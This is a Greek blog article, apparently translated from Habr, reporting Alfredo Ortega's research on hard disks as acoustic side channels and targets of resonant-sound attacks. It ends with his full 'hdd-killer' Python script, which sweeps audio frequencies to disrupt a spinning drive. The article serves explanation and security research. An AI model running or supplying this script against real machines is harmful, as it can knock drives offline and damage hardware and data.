Γιατί δεν πρέπει να φωνάζετε στον σκληρό σας δίσκο

Γιατί δεν πρέπει να φωνάζετε στον σκληρό σας δίσκο

Στο συνέδριο ασφάλειας υπολογιστών Ekoparty 2017 στο Μπουένος Άιρες, ο Αργεντινός χάκερ Alfredo Ortega έδειξε μια πολύ ενδιαφέρουσα εξέλιξη - ένα σύστημα κρυφής υποκλοπής χώρων χωρίς τη χρήση μικροφώνου. Ήχος εγγραφεί απευθείας στον σκληρό δίσκο!

Ο σκληρός δίσκος λαμβάνει κυρίως ήχους χαμηλής συχνότητας υψηλής έντασης, βήματα και άλλους κραδασμούς. Η ανθρώπινη ομιλία δεν μπορεί ακόμη να αναγνωριστεί, αν και οι επιστήμονες διεξάγουν έρευνα προς αυτή την κατεύθυνση (αναγνώριση ομιλίας με δονήσεις χαμηλής συχνότητας, οι οποίες καταγράφονται, για παράδειγμα, από γυροσκόπιο ή σκληρό δίσκο).

Ο ήχος είναι η δόνηση του αέρα ή άλλου μέσου. Ένα άτομο τα αντιλαμβάνεται μέσω του τυμπάνου, το οποίο μεταδίδει δονήσεις στο εσωτερικό αυτί. Το μικρόφωνο είναι σχεδιασμένο περίπου σαν αυτί - και εδώ, οι δονήσεις καταγράφονται από μια λεπτή μεμβράνη, η οποία διεγείρει μια ηλεκτρική ώθηση. Ο σκληρός δίσκος, φυσικά, υπόκειται και σε μικροσκοπικούς κραδασμούς λόγω διακυμάνσεων στον περιβάλλοντα αέρα. Αυτό είναι γνωστό ακόμη και από τα τεχνικά χαρακτηριστικά των σκληρών δίσκων: οι κατασκευαστές συνήθως υποδεικνύουν το μέγιστο επιτρεπόμενο επίπεδο δόνησης και ο ίδιος ο σκληρός δίσκος προσπαθεί συχνά να τον τοποθετήσει σε ένα αντικραδασμικό δοχείο κατασκευασμένο από καουτσούκ ή άλλο μονωτικό υλικό. Από αυτό είναι εύκολο να συμπεράνουμε ότι οι ήχοι μπορούν να εγγραφούν χρησιμοποιώντας HDD. Το μόνο που μένει είναι να καταλάβουμε πώς.

Ο Alfredo Ortega πρότεινε μια μοναδική εκδοχή μιας επίθεσης πλευρικού καναλιού, δηλαδή μια επίθεση χρόνου. Αυτή η επίθεση βασίζεται στην υπόθεση ότι εκτελούνται διαφορετικές λειτουργίες στη συσκευή σε διαφορετικούς χρόνους, ανάλογα με τα δεδομένα εισόδου που δίνονται. Στην περίπτωση αυτή, τα «δεδομένα εισόδου» είναι οι δονήσεις της κεφαλής ανάγνωσης και της πλάκας του σκληρού δίσκου, που συσχετίζονται με τους κραδασμούς του περιβάλλοντος, δηλαδή με τον ήχο. Έτσι, μετρώντας τον υπολογιστικό χρόνο και εκτελώντας μια στατιστική ανάλυση των δεδομένων, μπορούν να μετρηθούν οι δονήσεις της κεφαλής/πιατέλας και επομένως οι δονήσεις του μέσου. Όσο μεγαλύτερη είναι η καθυστέρηση στην ανάγνωση δεδομένων, τόσο ισχυρότεροι είναι οι κραδασμοί του σκληρού δίσκου και, επομένως, τόσο πιο δυνατός είναι ο ήχος.

Πώς να μετρήσετε τη δόνηση του σκληρού δίσκου; Πολύ απλό: απλώς εκτελέστε την κλήση συστήματος read () — και καταγράψτε το χρόνο που χρειάζεται για να ολοκληρωθεί. Τα σύγχρονα λειτουργικά συστήματα σάς επιτρέπουν να διαβάζετε τον χρονισμό των κλήσεων συστήματος με ακρίβεια νανοδευτερόλεπτου.

Η ταχύτητα ανάγνωσης πληροφοριών από έναν τομέα εξαρτάται από τη θέση της κεφαλής και της πλάκας, η οποία συσχετίζεται με τους κραδασμούς της θήκης του σκληρού δίσκου. Αυτό είναι όλο.

Η στατιστική ανάλυση πραγματοποιείται χρησιμοποιώντας ένα απλό βοηθητικό πρόγραμμα Kscope. Όπως λένε, κάθε έξυπνο είναι απλό.

Γιατί δεν πρέπει να φωνάζετε στον σκληρό σας δίσκο
Βοηθητικό πρόγραμμα Kscope (stat() syscall)

Το Kscope είναι ένα μικρό βοηθητικό πρόγραμμα για την οπτικοποίηση μικροσκοπικών διαφορών στους χρόνους εκτέλεσης κλήσεων συστήματος. Πηγήκυκλοφόρησε στο GitHub.

Σε ξεχωριστό αποθετήριο Χρόνος σκληρού δίσκου υπάρχει μια έκδοση του βοηθητικού προγράμματος που έχει ρυθμιστεί για χρονική επίθεση στον σκληρό δίσκο, δηλαδή έχει ρυθμιστεί να αναλύει την κλήση συστήματος read ().

Επίδειξη εγγραφής ήχου με χρήση HDD, λειτουργία του βοηθητικού προγράμματος Kscope


Φυσικά, η ομιλία δεν μπορεί να γίνει κατανοητή με αυτόν τον τρόπο, αλλά ο σκληρός δίσκος είναι αρκετά κατάλληλος ως αισθητήρας κραδασμών. Για παράδειγμα, μπορείτε να εγγραφείτε εάν ένα άτομο που φοράει σκληρά παπούτσια ή ξυπόλητος μπήκε σε ένα δωμάτιο με υπολογιστή (πιθανώς, εάν ο εισβολέας φοράει μαλακά αθλητικά παπούτσια ή υπάρχει ένα χοντρό χαλί στο πάτωμα, ο σκληρός δίσκος δεν θα μπορεί να καταγράψει κραδασμούς - αυτό αξίζει να το ελέγξετε). Ο υπολογιστής μπορεί να καταγράψει σπασμένα γυαλιά ή άλλα συμβάντα με ισχυρή ένταση ήχου. Δηλαδή, ο σκληρός δίσκος μπορεί να χρησιμεύσει ως ένα είδος μη εξουσιοδοτημένου συστήματος ανίχνευσης εισβολής.

HDD killer

Παρεμπιπτόντως, μια παρόμοια τεχνική μπορεί να χρησιμοποιηθεί για την απενεργοποίηση των σκληρών δίσκων. Μόνο που εδώ δεν αφαιρούμε ταλαντώσεις από τον σκληρό δίσκο, αλλά αντίθετα, παράγουμε ταλαντώσεις που τροφοδοτούνται στον σκληρό δίσκο. Εάν αναπαράγετε ήχο από ένα ηχείο σε συχνότητα που αντηχεί με τη συχνότητα του σκληρού δίσκου, το σύστημα σύντομα απενεργοποιεί τη συσκευή με ένα σφάλμα I/O (ο πυρήνας Linux απενεργοποιεί πλήρως τον σκληρό δίσκο μετά από 120 δευτερόλεπτα). Ο ίδιος ο σκληρός δίσκος μπορεί να υποστεί μη αναστρέψιμη βλάβη.

Γιατί δεν πρέπει να φωνάζετε στον σκληρό σας δίσκο
Ο πυρήνας Linux απενεργοποίησε τον σκληρό δίσκο μετά από 120 δευτερόλεπτα μετάδοσης ήχου σε συχνότητα συντονισμού μέσω του ηχείου του ηχείου USB Edifier r19u. Το ηχείο είναι ενεργοποιημένο περίπου στο ένα τέταρτο της ισχύος (λιγότερο από 100 mW) και βρίσκεται 20 cm από τον σκληρό δίσκο, με στόχο την ενίσχυση των κραδασμών. Πλαίσιο από βίντεο με μια επίδειξη του δολοφόνου HDD

Είναι περίεργο ότι τέτοιες «επιθέσεις» στους σκληρούς δίσκους μερικές φορές συμβαίνουν εντελώς τυχαία στην καθημερινή ζωή. Για παράδειγμα, τον Σεπτέμβριο του 2016, το κέντρο δεδομένων της ING Bank αναγκάστηκε να αναστείλει τη λειτουργία του για 10 ώρες μετά από άσκηση πυροσβεστικής. Δεκάδες σκληροί δίσκοι έχουν αποτύχει λόγω του δυνατού ήχου του αδρανούς αερίου που απελευθερώνεται από τους κυλίνδρους υπό υψηλή πίεση. Ο ήχος ήταν πολύ δυνατός (πάνω από 130 dB), αλλά δεν μπορείτε καν να φωνάξετε στους σκληρούς δίσκους - αυτό αυξάνει την καθυστέρηση στην πρόσβαση στον σκληρό δίσκο.

Επίδειξη ανθρώπινης κραυγής σε σκληρούς δίσκους σε κέντρο δεδομένων. Μέτρηση λανθάνοντος χρόνου


Για να δημιουργήσει τον ηχητικό ήχο, ο Alfredo Ortega έγραψε ένα σενάριο Python που ονομάζεται hdd-killer (επίδειξη βίντεο).

HDD killer σενάριο Είναι αρκετά μικρό, οπότε μπορείτε να το δημοσιεύσετε ολόκληρο εδώ.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο